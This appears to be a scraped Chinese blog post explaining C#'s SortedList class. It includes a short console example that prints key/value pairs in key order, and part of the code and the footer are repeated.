<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>SortedList类:表示键/值对的集合,与哈希表类似,区别在于SortedList中的Key数组排好序的。
using
System;
using System.Collections.Generic;
using System.Text;
using System.Collections;
namespace ConsoleApplication1
{
class Program
{
public static void Main()
{
SortedList sl = new SortedList();
sl["c"] = 41;
sl["a"] = 42;
sl["d"] = 11;
sl["b"] = 13;
foreach (DictionaryEntry element in sl)
{
string s = (string)element.Key;
int i = (int)element.Value;
Console.WriteLine("{0},{1}", s, i);
}
}
}
}
文章来源于 http://www.cnblogs.com/wf225 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
using System.Collections.Generic;
using System.Text;
using System.Collections;
namespace ConsoleApplication1
{
class Program
{
public static void Main()
{
SortedList sl = new SortedList();
sl["c"] = 41;
sl["a"] = 42;
sl["d"] = 11;
sl["b"] = 13;
foreach (DictionaryEntry element in sl)
{
string s = (string)element.Key;
int i = (int)element.Value;
Console.WriteLine("{0},{1}", s, i);
}
}
}
}
文章来源于 http://www.cnblogs.com/wf225 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>